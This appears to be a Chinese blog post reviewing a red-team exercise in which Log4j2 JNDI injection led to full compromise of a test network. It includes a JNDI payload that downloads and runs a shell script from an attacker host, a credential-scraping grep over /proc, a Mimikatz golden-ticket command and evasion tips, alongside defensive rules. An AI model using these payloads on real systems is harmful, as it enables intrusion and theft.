从一次内部红蓝对抗复盘:我们是如何用Log4j2漏洞“打穿”整个测试环境的?

张开发
2026/4/6 11:02:06 15 分钟阅读

分享文章

从一次内部红蓝对抗复盘:我们是如何用Log4j2漏洞“打穿”整个测试环境的?
红队视角如何通过Log4j2漏洞横向渗透企业内网那是一个周四的凌晨三点我盯着Burp Suite里那条异常的HTTP响应——某个边缘系统的登录接口竟然在错误日志里完整输出了我们精心构造的${jndi:ldap://}载荷。这个偶然发现最终演变成了一场教科书级的内网穿透。作为参与过数十次红蓝对抗的老兵这次战役让我对Log4j2漏洞的实际杀伤力有了全新认知。1. 漏洞狩猎从边缘系统切入大多数企业防护体系都存在一个致命盲区对非核心系统的监控松懈。我们首先通过子域名枚举工具发现了目标公司一个年久失修的报表系统运行着带漏洞的Spring Boot Log4j2组合。关键突破点并非User-Agent而是藏在X-Forwarded-For头中的JNDI注入GET /report/export HTTP/1.1 Host: legacy-report.corp.com X-Forwarded-For: ${jndi:ldap://attacker-controlled.com/Basic/Command/Base64/Y2QgL3RtcCAmJiBjdXJsIC1vIC90bXAvc2hlbGwuc2ggaHR0cDovL2F0dGFja2VyLmNvbS9zaGVsbC5zaCAmJiBjaG1vZCAreCAvdG1wL3NoZWxsLnNoICYmIC90bXAvc2hlbGwuc2g}为什么这种载荷能绕过基础防护多数WAF规则只检测User-Agent和Referer等常见头而忽略其他自定义头部。我们通过Base64编码分块传输编码进一步规避检测# 载荷生成脚本示例 echo curl -o /tmp/payload http://attacker.com/payload.sh | base64注意实际攻击中我们会动态轮换LDAP服务器IP并使用Cloudflare等CDN节点作为跳板避免被简单IP封禁2. 内网横向移动的三阶段战术2.1 初始立足点建立首台沦陷主机是台Ubuntu 18.04的跳板机我们立即部署了内存驻留型Webshell避免落地文件触发告警// 无文件内存马示例 java.lang.reflect.Proxy.newProxyInstance( Thread.currentThread().getContextClassLoader(), new Class[]{Class.forName(javax.servlet.Filter)}, (proxy, method, args) - { if (doFilter.equals(method.getName())) { // 命令执行逻辑 } return null; } );资产测绘关键命令netstat -tulnp识别内网服务env获取敏感环境变量mount查看挂载的NAS存储2.2 权限提升与凭证窃取在Docker容器逃逸过程中我们发现宿主机的/var/run/docker.sock挂载点。通过API接管宿主机后从Jenkins服务器的内存中提取到CI/CD凭证# 从进程内存提取密码 grep -a -E password|token|secret /proc/[0-9]*/environ横向移动工具链工具名称用途规避检测技巧Chisel加密隧道伪装成正常HTTPS流量MimikatzWindows凭证提取反射加载进程注入CrackMapExec批量测试SMB/SSH随机延迟合法账号混用2.3 域控突破与数据收割通过BloodHound分析发现某台开发机具有GenericAll权限。我们伪造Kerberos票据获取了域管理员权限最终在NAS上发现完整的客户数据库# 黄金票据生成 Invoke-Mimikatz -Command kerberos::golden /user:Administrator /domain:corp.com /sid:S-1-5-21-... /krbtgt:hash /ptt3. 蓝队防御视角的七道防线那次对抗中防守方直到我们触及核心系统才触发告警。复盘时发现这些防御措施能有效阻断攻击链网络层控制出口流量白名单阻断LDAP外联VLAN间微隔离主机层防护# 关键防护配置 sysctl -w kernel.yama.ptrace_scope2 # 防进程注入 chattr i /etc/passwd # 防篡改日志监控规则示例# Splunk查询语句 index* ${jndi:*} OR ldap://* OR Invoke-Expression | stats count by src_ip, dest_ip4. 现代防御体系下的攻击演进随着RASP和EDR的普及传统攻击手法已逐渐失效。现在我们更倾向于Living-off-the-Land仅使用系统内置工具# 无文件横向移动 Get-WmiObject -Class Win32_Process -ComputerName 192.168.1.* -Filter CommandLine LIKE %powershell%时序混淆技术将攻击步骤分散在数周内执行云原生攻击面针对K8s的RBAC配置错误那次演练结束后客户紧急修补了所有边缘系统并在网络层部署了JNDI流量深度检测。作为红队我们最大的价值不是证明系统能被攻破而是帮助企业发现那些已知的未知风险。毕竟在安全领域最危险的从来不是漏洞本身而是对漏洞的盲目自信。

更多文章